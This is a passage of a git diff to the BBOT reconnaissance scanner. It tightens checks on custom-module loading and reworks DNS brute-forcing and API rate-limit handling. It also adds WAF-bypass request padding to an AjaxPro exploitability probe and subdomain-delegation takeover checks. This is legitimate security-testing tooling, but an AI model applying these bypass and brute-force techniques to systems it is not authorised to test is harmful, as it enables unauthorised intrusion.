split_host_port, smart_decode - - request = response.request - url = str(request.url) - parsed_url = urlparse(url) - netloc = parsed_url.netloc - scheme = parsed_url.scheme.lower() - host, port = split_host_port(f"{scheme}://{netloc}") - - raw_headers = "\r\n".join([f"{k}: {v}" for k, v in response.headers.items()]) - raw_headers_encoded = raw_headers.encode() - - headers = {} - for k, v in response.headers.items(): - k = tagify(k, delimiter="_") - headers[k] = v - - j = { - "timestamp": datetime.now().isoformat(), - "hash": { - "body_md5": md5(response.content).hexdigest(), - "body_mmh3": mmh3.hash(response.content), - "body_sha256": sha256(response.content).hexdigest(), - # "body_simhash": "TODO", - "header_md5": md5(raw_headers_encoded).hexdigest(), - "header_mmh3": mmh3.hash(raw_headers_encoded), - "header_sha256": sha256(raw_headers_encoded).hexdigest(), - # "header_simhash": "TODO", - }, - "header": headers, - "body": smart_decode(response.content), - "content_type": headers.get("content_type", "").split(";")[0].strip(), - "url": url, - "host": str(host), - "port": port, - "scheme": scheme, - "method": response.request.method, - "path": parsed_url.path, - "raw_header": raw_headers, - "status_code": response.status_code, - } - - # blasthttp keeps a response whose body didn't decode and says why, rather - # than dropping it. Record that so nothing treats the bytes as content. - decode_error = response.decode_error - if decode_error: - j["decode_error"] = decode_error - - return j diff --git a/bbot/core/helpers/wordcloud.py b/bbot/core/helpers/wordcloud.py index a5d9b9aaaf..9f3da3f949 100644 --- a/bbot/core/helpers/wordcloud.py +++ b/bbot/core/helpers/wordcloud.py @@ -6,12 +6,18 @@ from pathlib import Path from contextlib import suppress from collections import OrderedDict +from functools import lru_cache from .misc import tldextract, extract_words log = logging.getLogger("bbot.core.helpers.wordcloud") +@lru_cache(maxsize=8) +def _load_wordninja_model(wordlist_path): + return wordninja.LanguageModel(wordlist_path) + + class WordCloud(dict): """ WordCloud is a specialized dictionary-like class for storing and aggregating @@ -485,7 +491,7 @@ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) wordlist_dir = Path(__file__).parent.parent.parent / "wordlists" wordninja_dns_wordlist = wordlist_dir / "wordninja_dns.txt.gz" - self.model = wordninja.LanguageModel(wordninja_dns_wordlist) + self.model = _load_wordninja_model(wordninja_dns_wordlist) def mutations(self, words, max_mutations=None): if isinstance(words, str): diff --git a/bbot/core/modules.py b/bbot/core/modules.py index cee81ef6f2..1f134c577c 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -86,7 +86,7 @@ def _exec_config_class(source: str, module_name: str): """ from typing import Annotated, Any, Dict, List, Literal, Optional, Set, Tuple, Union from pydantic import AfterValidator, BeforeValidator, field_validator, model_validator - from bbot.core.config.models import BaseModuleConfig, ConfidenceLiteral, Field, SeverityLiteral + from bbot.core.config.models import BaseModuleConfig, ConfidenceLiteral, Field, SeverityLiteral, VersionStr namespace: dict = { "Annotated": Annotated, @@ -106,6 +106,7 @@ def _exec_config_class(source: str, module_name: str): "BaseModuleConfig": BaseModuleConfig, "SeverityLiteral": SeverityLiteral, "ConfidenceLiteral": ConfidenceLiteral, + "VersionStr": VersionStr, } try: exec(source, namespace) @@ -114,7 +115,7 @@ def _exec_config_class(source: str, module_name: str): f'module "{module_name}" has an invalid Config class ({type(e).__name__}: {e}). ' "Config blocks may only reference: Optional, Union, Literal, Any, List, Dict, Tuple, Set, " "Field, field_validator, model_validator, BeforeValidator, AfterValidator, BaseModuleConfig, " - "and Python builtins." + "SeverityLiteral, ConfidenceLiteral, VersionStr, and Python builtins." ) from e cfg = namespace.get("Config") if cfg is None: @@ -224,6 +225,7 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, se description = "" is_sensitive = False is_mandatory = False + is_deprecated = False value = node.value if isinstance(value, ast.Call) and isinstance(value.func, ast.Name) and value.func.id == "Field": @@ -245,15 +247,22 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, se elif kw.arg == "mandatory": with suppress(ValueError, TypeError, SyntaxError): is_mandatory = bool(ast.literal_eval(kw.value)) + elif kw.arg == "deprecated": + with suppress(ValueError, TypeError, SyntaxError): + is_deprecated = bool(ast.literal_eval(kw.value)) elif kw.arg == "json_schema_extra": with suppress(ValueError, TypeError, SyntaxError): extra = ast.literal_eval(kw.value) if isinstance(extra, dict): is_sensitive = is_sensitive or bool(extra.get("sensitive")) is_mandatory = is_mandatory or bool(extra.get("mandatory")) + is_deprecated = is_deprecated or bool(extra.get("deprecated")) elif value is not None: default = _eval_ast_default(value) + # deprecated options are still accepted, but they get no default and aren't listed + if is_deprecated: + continue if default is _UNEVALUATED: # couldn't statically determine; fall back to None so listing still works default = None @@ -303,6 +312,10 @@ def __init__(self): self._module_dirs = set() self._module_dirs_preloaded = set() + # Optional callable(module_dir, module_names, notes) -> bool, asked before anything in a custom + # module dir is read. `notes` are extra warnings to show. Returning False refuses the dir. + # Without one, a warning is logged. + self.confirm_module_dir = None self.add_module_dir(self.default_module_dir) # save preload cache before exiting @@ -329,22 +342,113 @@ def add_module_dir(self, module_dir): if not module_dir.is_dir(): log.warning(f'Failed to add custom module dir "{module_dir}", please make sure it exists') return - new_module_dirs = set() - for _module_dir in self.get_recursive_dirs(module_dir): - _module_dir = Path(_module_dir).resolve() - if _module_dir not in self._module_dirs: - self._module_dirs.add(_module_dir) - new_module_dirs.add(_module_dir) - self.preload(module_dirs=new_module_dirs) + new_module_dirs = {d for d in self.get_recursive_dirs(module_dir) if d not in self._module_dirs} + vetted = None + if module_dir != self.default_module_dir.resolve(): + # a custom dir named "modules" takes the built-in package's namespace (bbot.modules), so its + # files would overwrite built-in package entries in sys.modules; refuse it + for d in new_module_dirs: + if d.name == "modules": + raise BBOTError( + f'Refusing to load custom modules from "{d}": a custom module directory can\'t be ' + 'named "modules" (it collides with BBOT\'s built-in module package). Rename it.' + ) + # vet exactly what will be loaded, resolving links once, here: a list of + # (containing dir, module name from the link, resolved target). preload() is handed this + # same list so it loads precisely what was checked and shown, never a fresh listing. + vetted = [] + for d in sorted(new_module_dirs): + # a broken .py symlink is skipped by list_files; refuse it so a target created later + # (between this check and load) can't slip in unchecked + for entry in sorted(d.iterdir()): + if entry.is_symlink() and entry.suffix.lower() == ".py" and not entry.exists(): + raise BBOTError( + f'Refusing to load custom modules from "{d}": "{entry.name}" is a broken symlink.' + ) + for f in sorted(list_files(d, filter=self.file_filter)): + # f.stem is the link's own name (the module name); f.resolve() is the target we'll load + vetted.append((d, f.stem, f.resolve())) + module_files = [path for (_, _, path) in vetted] + # custom modules are code: refuse anything every user on the system could modify, and point out + # anything a specific other user could (common with sudo, or folders mounted into the docker image) + notes = [] + if os.name == "posix": + import grp + import pwd + + def user_name(uid): + with suppress(KeyError): + return pwd.getpwuid(uid).pw_name + return f"uid {uid}" + + def group_name(gid): + with suppress(KeyError): + return grp.getgrgid(gid).gr_name + return f"gid {gid}" + + uid = os.getuid() + other_owners = set() + writable_groups = set() + # everything that decides which code runs: the folders, the module files (resolved through + # symlinks), and every folder above any of those. custom modules load from source with a + # hash check, so cached bytecode is never read and __pycache__ needs no check here. + checked = set(new_module_dirs) | set(module_files) + parents = {parent for path in checked for parent in path.parents} - checked + for path in sorted(checked | parents): + st = path.stat() + # a sticky parent like /tmp is fine, since nobody else can rename or replace what's inside it + if st.st_mode & stat.S_IWOTH and not (path in parents and st.st_mode & stat.S_ISVTX): + kind = "directory" if path.is_dir() else "file" + raise BBOTError( + f'Refusing to load custom modules from "{path}": {kind} is world-writable ' + f"(mode {stat.S_IMODE(st.st_mode):04o}), so anyone on this system could add or modify " + f'modules there. To fix: chmod o-w "{path}"' + ) + if st.st_uid not in (uid, 0): + other_owners.add(st.st_uid) + # group-writable isn't refused (a per-user group is fine), but shared groups like macOS's + # "staff" mean every local user can write. only flag the module dirs/files themselves, + # not ancestors, since group-writable parents (e.g. /tmp) are common and not the concern. + if path in checked and st.st_mode & stat.S_IWGRP: + writable_groups.add(st.st_gid) + for owner in sorted(other_owners): + notes.append( + f'Owned by "{user_name(owner)}", not by you ("{user_name(uid)}"). That user can change this code.' + ) + for gid in sorted(writable_groups): + notes.append(f'Writable by group "{group_name(gid)}"; anyone in that group can change this code.') + # a custom module can never take over an existing module's name, so it can't silently replace it + seen = {} + for _, name, path in vetted: + existing = self.__preloaded.get(name, {}).get("path") or seen.get(name) + if existing: + raise BBOTError( + f'Refusing to load custom module "{path}": a module named "{name}" already exists at ' + f'"{existing}". Custom modules can\'t replace existing ones; give it a different name.' + ) + seen[name] = path + module_names = sorted(seen) + if self.confirm_module_dir is None: + log.warning( + f'Loading custom modules from "{module_dir}": {", ".join(module_names)}. ' + + "".join(f"{note} " for note in notes) + + "Custom modules are Python code; only load module dirs you trust." + ) + elif not self.confirm_module_dir(module_dir, module_names, notes): + raise BBOTError(f'Custom module dir "{module_dir}" was not trusted; refusing to load it') + self._module_dirs.update(new_module_dirs) + self.preload(module_dirs=new_module_dirs, vetted=vetted) def file_filter(self, file): - file = file.resolve() - for part in file.parts: + # name and suffix come from the file in the folder, which is what preload() names the module after + if file.suffix.lower() != ".py" or file.stem in ["base", "__init__"]: + return False + for part in file.resolve().parts: if part.endswith("_submodules") or part == "templates": return False - return file.suffix.lower() == ".py" and file.stem not in ["base", "__init__"] + return True - def preload(self, module_dirs=None): + def preload(self, module_dirs=None, vetted=None): """Preloads all BBOT modules. This function recursively iterates through each file in the module directories @@ -376,10 +480,13 @@ def preload(self, module_dirs=None): log.debug(f"Preloading modules from {module_dir}") new_modules = True - for module_file in list_files(module_dir, filter=self.file_filter): - module_name = module_file.stem - module_file = module_file.resolve() - + # when a caller vetted the folder (add_module_dir), load exactly the (name, resolved path) + # pairs it checked and showed in the prompt, instead of re-listing and re-resolving here + if vetted is not None: + file_entries = [(name, path) for (d, name, path) in vetted if d == module_dir] + else: + file_entries = [(f.stem, f.resolve()) for f in list_files(module_dir, filter=self.file_filter)] + for module_name, module_file in file_entries: # try to load from cache module_cache_key = (PRELOAD_CACHE_VERSION, str(module_file), tuple(module_file.stat())) preloaded = self.preload_cache.get(module_name, {}) @@ -437,6 +544,9 @@ def preload(self, module_dirs=None): flags = preloaded.get("flags", []) self.flag_choices.update(set(flags)) + # custom modules (loaded from a vetted dir) are imported from source with a hash check, + # never from cached bytecode; mark them so load_module takes that path + preloaded["custom"] = vetted is not None self.__preloaded[module_name] = preloaded self._configs[module_name] = dict(preloaded.get("config", {})) @@ -467,8 +577,17 @@ def preload_cache(self): def preload_cache(self, value): self._preload_cache = value mkdir(self.preload_cache_file.parent) - with open(self.preload_cache_file, "wb") as f: - pickle.dump(self._preload_cache, f) + # concurrent scans can share the cache dir, so write via a private temp file + # and rename: a reader either sees the old cache or the new one, never a + # half-written pickle + tmp_file = self.preload_cache_file.with_suffix(f".{os.getpid()}.tmp") + try: + with open(tmp_file, "wb") as f: + pickle.dump(self._preload_cache, f) + os.replace(tmp_file, self.preload_cache_file) + finally: + with suppress(OSError): + tmp_file.unlink() def save_preload_cache(self): self.preload_cache = self.__preloaded @@ -887,10 +1006,27 @@ def load_module(self, module_name): module_path = preloaded["cache_key"][0] full_namespace = f"{namespace}.{module_name}" - spec = importlib.util.spec_from_file_location(full_namespace, module_path) - module = importlib.util.module_from_spec(spec) - sys.modules[full_namespace] = module - spec.loader.exec_module(module) + if preloaded.get("custom"): + # custom modules are imported from source and verified against the hash recorded when the + # folder was vetted, so cached bytecode (which Python would read from __pycache__) never runs + import types + + with open(module_path) as f: + source = f.read() + if sha1(source).hexdigest() != preloaded.get("hash"): + raise BBOTError( + f'Refusing to load custom module "{module_name}": its source at "{module_path}" ' + "changed since it was vetted." + ) + module = types.ModuleType(full_namespace) + module.__file__ = str(module_path) + sys.modules[full_namespace] = module + exec(compile(source, str(module_path), "exec"), module.__dict__) + else: + spec = importlib.util.spec_from_file_location(full_namespace, module_path) + module = importlib.util.module_from_spec(spec) + sys.modules[full_namespace] = module + spec.loader.exec_module(module) # for every top-level variable in the .py file for variable in module.__dict__.keys(): diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index 49fa2d69cf..31f622ce88 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -22,42 +22,6 @@ }, ] -DEP_MASSDNS = [ - { - "name": "install dev tools", - "package": {"name": ["gcc", "git", "make"], "state": "present"}, - "become": True, - "ignore_errors": True, - }, - { - "name": "Download massdns source code", - "git": { - "repo": "https://github.com/blechschmidt/massdns.git", - "dest": "#{BBOT_TEMP}/massdns", - "single_branch": True, - "version": "master", - }, - }, - { - "name": "Build massdns (Linux)", - "command": {"chdir": "#{BBOT_TEMP}/massdns", "cmd": "make", "creates": "#{BBOT_TEMP}/massdns/bin/massdns"}, - "when": "ansible_facts['system'] == 'Linux'", - }, - { - "name": "Build massdns (non-Linux)", - "command": { - "chdir": "#{BBOT_TEMP}/massdns", - "cmd": "make nolinux", - "creates": "#{BBOT_TEMP}/massdns/bin/massdns", - }, - "when": "ansible_facts['system'] != 'Linux'", - }, - { - "name": "Install massdns", - "copy": {"src": "#{BBOT_TEMP}/massdns/bin/massdns", "dest": "#{BBOT_TOOLS}/", "mode": "u+x,g+x,o+x"}, - }, -] - DEP_CHROMIUM = [ { "name": "Install Chromium (Non-Debian)", @@ -232,7 +196,7 @@ }, ] -# shared module dependencies -- massdns, chromium, etc. +# shared module dependencies -- chromium, java, etc. SHARED_DEPS = {} for var, val in list(locals().items()): if var.startswith("DEP_") and isinstance(val, list): diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 3a3d53a55c..714295efc6 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -47,16 +47,35 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false - # How many threads to use per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) - threads: 10 + # Nameservers to use instead of the system ones (empty = use system resolvers) + nameservers: [] + # How many queries to keep in flight per resolver (adaptive pacing backs off if a resolver starts dropping queries) + threads: 50 + # Ceiling on queries in flight across all resolvers, however many are configured + max_concurrency: 256 # How many DNS records to cache cache_size: 100000 - # How many concurrent DNS resolvers to use when brute-forcing - # (under the hood this is passed through directly to massdns -s) + # How many brute-force DNS queries to keep in flight at once brute_threads: 1000 + # How many brute-force queries to keep in flight per resolver (the politeness bound) + brute_inflight_per_resolver: 2 + # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) + brute_rate_limit: 0 + # Attempts per brute-force name before giving up (each retry lands on a different resolver) + # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate + brute_retries: 20 + # Per-query timeout in seconds when brute-forcing, deliberately much shorter than dns.timeout + # Retrying elsewhere is cheaper than waiting; going below this starts shrinking the resolver pool + brute_timeout: 0.5 + # Reuse one socket per resolver instead of binding one per query, which keeps NAT/conntrack + # state bounded by the resolver count rather than growing with query volume + brute_persistent_socket: true # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt + # How many of those to draw at random, once per scan (0 = all of them) + # The dead ones in the draw are dropped at startup, and every brute-force run in the scan shares the rest + brute_max_resolvers: 600 # How far away from the main target to explore via DNS resolution (independent of scope.search_distance) # This is safe to change search_distance: 1 @@ -134,6 +153,12 @@ web: ssl_verify_target: false # Whether to verify SSL certificates for non-target traffic (APIs, wordlist downloads, etc.) ssl_verify_infrastructure: true + # nowafpls WAF-bypass body padding sizes, tried largest first. + # The probe steps down a rung only when the origin explicitly rejects the size with a 413; + # 1 MiB is exactly nginx's default client_max_body_size, hence the 128 KiB fallback. + nowafpls_padding_sizes: [1048576, 131072] + # Payload the nowafpls probe uses to detect whether the WAF is interfering at all + nowafpls_payload: "" # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 @@ -165,9 +190,6 @@ deps: ### ADVANCED OPTIONS ### -# Load BBOT modules from these custom paths -module_dirs: [] - # maximum runtime in seconds for each module's handle_event() is 60 minutes # when the timeout is reached, the offending handle_event() will be cancelled and the module will move on to the next event module_handle_event_timeout: 3600 @@ -191,6 +213,21 @@ python: True url_querystring_remove: True # When query string is retained, by default collapse parameter values down to a single value per parameter url_querystring_collapse: True +# Reject URLs whose path repeats the same path parameter this many times (e.g. a session id appended on every redirect) +url_max_path_param_repeats: 10 + +# Drop open ports and URLs on CDN/WAF hosts unless the port is allowed or was explicitly targeted +# CDN edges answer on many ports (e.g. Cloudflare's 2052-2096, 8080, 8443) that rarely lead anywhere useful +cdn_port_filter: + enabled: true + # hosts with any of these tags are considered CDN/WAF hosts + tags: + - cdn + - waf + # ports that are still allowed on CDN/WAF hosts + allowed_ports: + - 80 + - 443 # Completely ignore URLs with these extensions url_extension_blacklist: diff --git a/bbot/logger.py b/bbot/logger.py index 30d83f00ff..5462f8e02f 100644 --- a/bbot/logger.py +++ b/bbot/logger.py @@ -49,7 +49,9 @@ def log_to_stderr(msg, level="INFO", logname=True): from bbot.core.helpers.misc import make_printable levelname = level.upper() - if not any(x in sys.argv for x in ("-s", "--silent")): + # errors still print under --silent, so a run never stops without saying why + silent = any(x in sys.argv for x in ("-S", "--silent")) + if not silent or levelname in ("ERROR", "CRITICAL"): msg = make_printable(msg) levelshort = f"[{loglevel_mapping.get(level, 'INFO')}]" levelshort = f"{colorize(levelshort, level=levelname)}" diff --git a/bbot/models/sql.py b/bbot/models/sql.py index a419f6a56e..aad649ff36 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -112,7 +112,7 @@ class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str status: str - started_at: NaiveUTC = Field(index=True) + started_at: NaiveUTC = Field(sa_column=Column(SQLADateTime, nullable=False, index=True)) finished_at: Optional[NaiveUTC] = Field(default=None, sa_column=Column(SQLADateTime, nullable=True, index=True)) duration_seconds: Optional[float] = Field(default=None) duration: Optional[str] = Field(default=None) diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 846133cc5c..6d2e337a82 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -69,7 +69,10 @@ async def confirm_exploitability(self, detection_url, event): payload = {} headers = {"X-Ajaxpro-Method": "AddItem"} - probe_response = await self.helpers.request(full_url, method="POST", headers=headers, json=payload) + padded_payload = await self.helpers.nowafpls.pad_json(event, payload) + used_nowafpls = padded_payload is not payload + + probe_response = await self.helpers.request(full_url, method="POST", headers=headers, json=padded_payload) if probe_response: if ( "AjaxPro.Services.ICartService" in probe_response.text @@ -87,5 +90,6 @@ async def confirm_exploitability(self, detection_url, event): }, "FINDING", event, + tags=["used-nowafpls"] if used_nowafpls else None, context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {detection_url}", ) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index ddc86ab3a4..e650dacafc 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -1,5 +1,6 @@ from baddns.base import get_all_modules from baddns.lib.loader import load_signatures +from baddns.lib.matcher import WordMatcher from .base import BaseModule import logging @@ -11,7 +12,7 @@ SUBMODULE_MAX_SEVERITY = { "CNAME": "MEDIUM", - "NS": "MEDIUM", + "NS": "HIGH", "MX": "MEDIUM", "TXT": "LOW", "references": "MEDIUM", @@ -21,11 +22,12 @@ "SPF": "MEDIUM", "MTA-STS": "HIGH", "WILDCARD": "HIGH", + "DELEGATION": "HIGH", } SUBMODULE_MAX_CONFIDENCE = { "CNAME": "CONFIRMED", - "NS": "HIGH", + "NS": "CONFIRMED", "MX": "CONFIRMED", "TXT": "CONFIRMED", "references": "CONFIRMED", @@ -35,6 +37,7 @@ "SPF": "CONFIRMED", "MTA-STS": "CONFIRMED", "WILDCARD": "CONFIRMED", + "DELEGATION": "CONFIRMED", } @@ -56,11 +59,11 @@ class Config(BaseModuleConfig): min_confidence: ConfidenceLiteral = Field("MEDIUM", description="Minimum confidence to emit") enabled_submodules: list[str] = Field( default_factory=list, - description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", + description="A list of submodules to enable. Empty list (default) enables CNAME, MX, TXT and DELEGATION Only", ) module_threads = 8 - deps_pip = ["baddns~=2.4.0"] + deps_pip = ["baddns~=2.5.0"] def select_modules(self): selected_submodules = [] @@ -72,7 +75,7 @@ def select_modules(self): def set_modules(self): self.enabled_submodules = self.config.get("enabled_submodules", []) if self.enabled_submodules == []: - self.enabled_submodules = ["CNAME", "MX", "TXT"] + self.enabled_submodules = ["CNAME", "MX", "TXT", "DELEGATION"] def _filter_submodules(self): filtered = [] @@ -112,6 +115,8 @@ async def setup(self): self._min_sev_idx = SEVERITY_LEVELS.index(min_severity) self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() + # one batched YARA pass per response instead of each signature's words in turn + self.word_matcher = WordMatcher(self.signatures) self.set_modules() self.enabled_submodules = self._filter_submodules() if not self.enabled_submodules: @@ -144,6 +149,7 @@ async def handle_event(self, event): "dns_client": self.scan.helpers.dns.blastdns, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, + "word_matcher": self.word_matcher, } if ModuleClass.name == "NS": diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 584d3f7763..73d36f0322 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -22,7 +22,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.4.0"] + deps_pip = ["baddns~=2.5.0"] scope_distance_modifier = 1 diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 9277be5e1e..081dc10fb7 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -22,7 +22,7 @@ class Config(BaseModuleConfig): ) module_threads = 8 - deps_pip = ["baddns~=2.4.0"] + deps_pip = ["baddns~=2.5.0"] def set_modules(self): self.enabled_submodules = ["NSEC", "zonetransfer"] diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index 4010573f83..f1d0d2c097 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -19,7 +19,7 @@ class badsecrets(BaseModule): class Config(BaseModuleConfig): custom_secrets: Optional[str] = Field(None, description="Include custom secrets loaded from a local file") - deps_pip = ["badsecrets~=1.2.1"] + deps_pip = ["badsecrets~=1.3.0"] async def setup(self): self.custom_secrets = None diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 4b911f3d89..d9015d041e 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1,13 +1,17 @@ +import time import asyncio import logging import traceback from sys import exc_info from contextlib import suppress +from email.utils import parsedate_to_datetime +from datetime import datetime, timezone from ..core.helpers.misc import get_size # noqa -from ..errors import ValidationError, WebError -from ..core.helpers.async_helpers import TaskCounter, ShuffleQueue +from ..errors import HttpCompareError, ValidationError, WebError +from ..core.helpers.async_helpers import LaneQueue, TaskCounter, ShuffleQueue from ..core.event import is_event +from .. import __version__ class BaseModule: @@ -67,7 +71,7 @@ class BaseModule: batch_size (int): Size of batches processed by handle_batch(). Default is 1. - api_failure_abort_threshold (int): Threshold for setting error state after failed HTTP requests (only takes effect when `api_request()` is used. Default is 5. + api_failure_abort_threshold (int): Threshold for setting error state after consecutive failed HTTP requests, not counting rate limits (only takes effect when `api_request()` is used). _preserve_graph (bool): When set to True, accept events that may be duplicates but are necessary for construction of complete graph. Typically only enabled for output modules that need to maintain full chains of events, e.g. `neo4j` and `json`. Default is False. @@ -112,6 +116,11 @@ class BaseModule: # disable the module after this many failed attempts in a row _api_failure_abort_threshold = 3 + # disable the module after this many rate-limited attempts in a row (per API key) + _api_rate_limit_abort_threshold = 10 + # seconds to wait before retrying a failed API request (doubles with each retry) + _api_retry_backoff = 1 + _api_retry_max_backoff = 30 # whether to retry on 429s when first pinging the API at scan start _ping_retry_on_http_429 = False @@ -164,6 +173,9 @@ def __init__(self, scan): # track number of failures (for .api_request()) self._api_request_failures = 0 + # consecutive rate-limited responses, and when we may send again (shared by all event handlers) + self._api_rate_limit_count = 0 + self._api_rate_limited_until = 0.0 self._default_api_retries = self.scan.config.get("web", {}).get("api_retries", 2) @@ -370,6 +382,10 @@ def api_retries(self): def api_failure_abort_threshold(self): return (self.api_retries * self._api_failure_abort_threshold) + 1 + @property + def api_rate_limit_abort_threshold(self): + return self._api_rate_limit_abort_threshold * max(1, len(self._api_keys)) + async def ping(self, url=None): """Asynchronously checks the health of the configured API. @@ -720,6 +736,9 @@ async def _setup(self, deps_only=False): break self.debug(f"Finished setting up module {self.name}") except Exception as e: + # a raising setup() must hard-fail, otherwise setup_modules() reads the + # last successful status and leaves an errored module in the scan + status = False self.set_error_state(f"Unexpected error during module setup: {e}", critical=True) msg = f"{e}" self.trace() @@ -871,7 +890,7 @@ def _event_precheck(self, event): return False, "it did not meet target_only filter criteria" # limit events with special URL extensions (e.g. .js) to modules that opt in - if not self.accept_url_special: + if not self.accept_url_special and event._url_special_filterable: extension = getattr(event, "url_extension", "") if extension in self.scan.url_extension_special: return ( @@ -944,9 +963,10 @@ async def _event_postcheck_inner(self, event): async def _is_http_wildcard_host(self, event): """Check whether the event's host is an HTTP wildcard responder. - Extracts scheme/host/port from the event's parsed_url when available, - otherwise falls back to ``event.host`` with https/443. Returns True - (wildcard), False (not wildcard), or None (probe failed / no host). + When the host is flagged wildcard, probe this URL against the + wildcard baseline. If it diverges, the URL is a real endpoint and + should NOT be skipped. Returns True (wildcard) / False (not + wildcard) / None (probe failed / no host). """ p = getattr(event, "parsed_url", None) if p is not None and p.hostname: @@ -963,7 +983,29 @@ async def _is_http_wildcard_host(self, event): result = await self.helpers.is_http_wildcard_host(scheme, host, port) if result in (False, None): return result - return True + # Underlying helper returns an HttpCompare with the baseline preloaded + # on a real wildcard hit; probe this URL against that baseline. Fall + # back to plain-bool truthiness when a test mock returned a scalar. + if not hasattr(result, "compare"): + return bool(result) + # For WEB_PARAMETER GETPARAMs, probe the URL with the parameter baked + # in — the bare URL may be a catchall while `?name=value` is real. + target_url = p.geturl() if p is not None else f"{scheme}://{host}:{port}/" + if event.type == "WEB_PARAMETER" and isinstance(event.data, dict) and event.data.get("type") == "GETPARAM": + name = event.data.get("name") + value = event.data.get("original_value") + if name: + target_url = self.helpers.add_get_params( + target_url, {name: value if value is not None else ""} + ).geturl() + try: + match, _, _, subject_response = await result.compare(target_url, none_is_match=False) + except HttpCompareError: + return None + if subject_response is None: + # a dead probe is unknown, not a wildcard verdict + return None + return match def _scope_distance_check(self, event): # Seeds bypass scope distance checks @@ -1329,57 +1371,80 @@ def prepare_api_request(self, url, kwargs): async def api_request(self, *args, **kwargs): """ Makes an HTTP request while automatically: - - avoiding rate limits (sleep/retry) + - obeying rate limits (Retry-After), shared across all of the module's event handlers - cycling API keys - - cancelling after too many failed attempts + - backing off between retries of failed requests + - cancelling after too many failed or rate-limited attempts """ url = args[0] if args else kwargs.pop("url", "") retry_on_http_429 = kwargs.pop("retry_on_http_429", True) - - # loop until we have a successful request - for _ in range(self.api_retries): - if "headers" not in kwargs: - kwargs["headers"] = {} - if "ssl_verify" not in kwargs: - kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure - if "timeout" not in kwargs: - kwargs["timeout"] = self.http_timeout_infrastructure + # we do all the retrying here; blasthttp's own retries would ignore Retry-After + kwargs["retries"] = 0 + # API calls identify themselves honestly instead of using the scan's (browser) user agent + kwargs["headers"] = dict(kwargs.get("headers") or {}) + if not any(k.lower() == "user-agent" for k in kwargs["headers"]): + kwargs["headers"]["User-Agent"] = f"BBOT/{__version__}" + if "ssl_verify" not in kwargs: + kwargs["ssl_verify"] = self.helpers.web.ssl_verify_infrastructure + if "timeout" not in kwargs: + kwargs["timeout"] = self.http_timeout_infrastructure + + r = None + backoff = self._api_retry_backoff + for attempt in range(self.api_retries): + if self.errored: + break + # obey the rate limit, which another event handler may have extended while we waited + while (remaining := self._api_rate_limited_until - time.monotonic()) > 0: + await asyncio.sleep(remaining) new_url, kwargs = self.prepare_api_request(url, kwargs) kwargs["url"] = new_url r = await self.helpers.request(**kwargs) - success = r is not None and self._api_response_is_success(r) - - if success: + if r is not None and self._api_response_is_success(r): self._api_request_failures = 0 - else: - status_code = getattr(r, "status_code", 0) - response_text = getattr(r, "text", "") - self.trace(f"API response to {url} failed with status code {status_code}: {response_text}") - self._api_request_failures += 1 - if self._api_request_failures >= self.api_failure_abort_threshold: + self._api_rate_limit_count = 0 + break + + status_code = getattr(r, "status_code", 0) + response_text = getattr(r, "text", "") + self.trace(f"API response to {url} failed with status code {status_code}: {response_text}") + retry_after = self._get_retry_after(r) + + if status_code == 429 or retry_after is not None: + if not retry_on_http_429: + # e.g. a setup ping, where a 429 usually means the quota is used up; don't wait on it + if len(self._api_keys) < 2: + break + self.cycle_api_key() + continue + # rate limits aren't failures, but being rate limited over and over despite obeying is + self._api_rate_limit_count += 1 + if self._api_rate_limit_count >= self.api_rate_limit_abort_threshold: self.set_error_state( - f"Setting error state due to {self._api_request_failures:,} failed HTTP requests" + f"Setting error state after being rate limited {self._api_rate_limit_count:,} times in a row" ) - else: - # sleep for a bit if we're being rate limited - retry_after = self._get_retry_after(r) - if (retry_after or status_code == 429) and retry_on_http_429: - sleep_interval = int(retry_after) if retry_after is not None else self._429_sleep_interval - if retry_after and retry_after > self._429_max_sleep_interval: - self.verbose( - f"Got an excessive retry-after header of {retry_after} from {new_url}, using {self._429_max_sleep_interval} instead" - ) - sleep_interval = self._429_max_sleep_interval - self.verbose( - f"Sleeping for {sleep_interval:,} seconds due to rate limit (HTTP status: {status_code})" - ) - await asyncio.sleep(sleep_interval) - elif 